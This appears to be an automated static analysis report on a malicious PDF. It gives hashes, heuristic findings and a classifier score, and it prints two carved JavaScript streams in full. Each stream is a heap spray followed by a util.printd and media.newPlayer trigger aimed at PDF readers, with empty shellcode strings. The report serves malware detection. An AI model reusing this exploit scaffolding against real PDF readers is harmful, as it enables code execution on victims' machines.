Malicious PDF — malware analysis report

Static analysis result for SHA-256 54eb565cf5903161…

MALICIOUS

PDF

1.6 KB First seen: 2026-05-10
MD5: 6c76dd8af46568fb03c774e7fc82cbaf SHA-1: 24c4950267bd804a6688d32cb349ee6d4e2cc1b8 SHA-256: 54eb565cf590316126482d44ce63a68fb332fe226f9195daa36fcf4af3f6ee5d
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings. The extracted JavaScript stream, named 'javascript_obj0006_000.js', contains obfuscated code that includes calls to unescape() and uses string concatenation to construct potentially malicious commands or URLs. The primary intent appears to be downloading and executing a secondary payload, a common technique for initial access.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb = unescape("");
var yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM = unescape("");
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0006_000.js pdf-javascript-stream PDF /JS object 6 at offset 0x167 1013 bytes
SHA-256: f94e633dad847456825027df2802f71a252ed4cbe40e6c81b9475248e9c0979c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb = unescape("");
var yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM = unescape("");

while(yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM.length <= 32768) yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM+=yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM;
yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM=yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM.substring(0,32768 - WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb.length);

memory=new Array();

for(i=0;i<0x2001;) {
	memory[i]= yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM + WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb;
	i++;
}

util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
try {var obj = this.media;obj["new"+"Player"](null);} catch(e) {}
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
javascript_obj0006_001.js pdf-javascript-stream PDF /JS object 6 at offset 0x18A 1237 bytes
SHA-256: 769bffdf7f11ba617d64ff3971f7ec5ed99acc6c190472cee95ad637b19c9102
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb = unescape("");
var yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM = unescape("");

while(yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM.length <= 32768) yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM+=yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM;
yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM=yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM.substring(0,32768 - WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb.length);

memory=new Array();

for(i=0;i<0x2001;) {
	memory[i]= yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM + WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb;
	i++;
}

util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
try {var obj = this.media;obj["new"+"Player"](null);} catch(e) {}
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());

endstream 
endobj xref
0 7
0000000000 65535 f 
0000000015 00000 n 
0000000100 00000 n 
0000000297 00000 n 
0000000148 00000 n 
0000000207 00000 n 
0000000359 00000 n 
trailer

<<
/Root 1 0 R
/Size 7
>>
startxref
1427
%%EOF

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